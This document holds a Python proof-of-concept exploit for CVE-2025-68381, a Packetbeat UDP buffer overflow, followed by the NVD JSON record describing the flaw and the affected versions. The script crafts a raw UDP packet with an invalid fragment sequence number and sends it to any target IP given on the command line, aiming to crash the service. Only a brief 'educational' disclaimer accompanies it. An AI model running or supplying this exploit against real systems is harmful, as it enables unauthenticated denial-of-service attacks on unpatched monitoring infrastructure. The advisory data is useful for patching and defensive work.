CVE-2025-68381

#!/usr/bin/env python3 """ CVE-2025-68381 PoC - Packetbeat UDP Buffer Overflow Note: This PoC is for educational and authorized testing purposes only. """ import socket import struct import sys def create_malformed_udp_packet(): """ Create a malformed UDP packet with invalid fragment sequence number to trigger buffer overflow in Packetbeat """ # IP Header (20 bytes) ip_header = struct.pack('!BBHHHBBH4s4s', 0x45, # Version 4, IHL 5 0x00, # TOS 0x0040, # Total Length (64 bytes) 0x0000, # Identification 0x0000, # Flags and Fragment Offset (MF bit set for fragmentation) 64, # TTL 17, # Protocol (UDP) 0x0000, # Checksum (placeholder) socket.inet_aton('192.168.1.100'), # Source IP socket.inet_aton('192.168.1.1') # Dest IP ) # UDP Header (8 bytes) src_port = 12345 dst_port = 53 # DNS port udp_length = 28 # Malformed payload with invalid fragment sequence number # This triggers the bounds check issue in Packetbeat payload = b'\x00' * 12 + struct.pack('!I', 0xFFFFFFFF) # Invalid sequence number udp_header = struct.pack('!HHHH', src_port, dst_port, udp_length, 0x0000 # Checksum placeholder ) packet = ip_header + udp_header + payload return packet def send_exploit(target_ip, target_port=53): """Send the exploit packet to target""" sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) try: packet = create_malformed_udp_packet() sock.sendto(packet, (target_ip, target_port)) print(f"[+] Malformed UDP packet sent to {target_ip}") print(f"[+] Packet contains invalid fragment sequence number") print(f"[+] This may trigger buffer overflow in vulnerable Packetbeat") except Exception as e: print(f"[-] Error sending packet: {e}") finally: sock.close() if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) send_exploit(sys.argv[1])

{"cve": {"id": "CVE-2025-68381", "sourceIdentifier": "[email protected]", "published": "2025-12-18T22:16:02.070", "lastModified": "2025-12-23T17:42:32.230", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Bounds Check (CWE-787) in Packetbeat can allow a remote unauthenticated attacker to exploit a Buffer Overflow (CAPEC-100) and reliably crash the application or cause significant resource exhaustion via a single crafted UDP packet with an invalid fragment sequence number."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:elasticsearch:packetbeat:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.0", "versionEndIncluding": "7.17.29", "matchCriteriaId": "D210516F-A232-4230-A069-E0955D91DCAC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:elasticsearch:packetbeat:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.19.9", "matchCriteriaId": "A50D6282-69A2-4E91-A30F-A97D06F59159"}, {"vulnerable": true, "criteria": "cpe:2.3:a:elasticsearch:packetbeat:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.0", "versionEndExcluding": "9.1.9", "matchCriteriaId": "D24C565F-FB26-4D8D-9963-58E77B7F7557"}, {"vulnerable": true, "criteria": "cpe:2.3:a:elasticsearch:packetbeat:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.2.0", "versionEndExcluding": "9.2.3", "matchCriteriaId": "7BFB3597-387F-439B-8AE2-AA97239DAE49"}]}]}], "references": [{"url": "https://discuss.elastic.co/t/packetbeat-8-19-9-9-1-9-and-9-2-3-security-update-esa-2025-30/384178", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}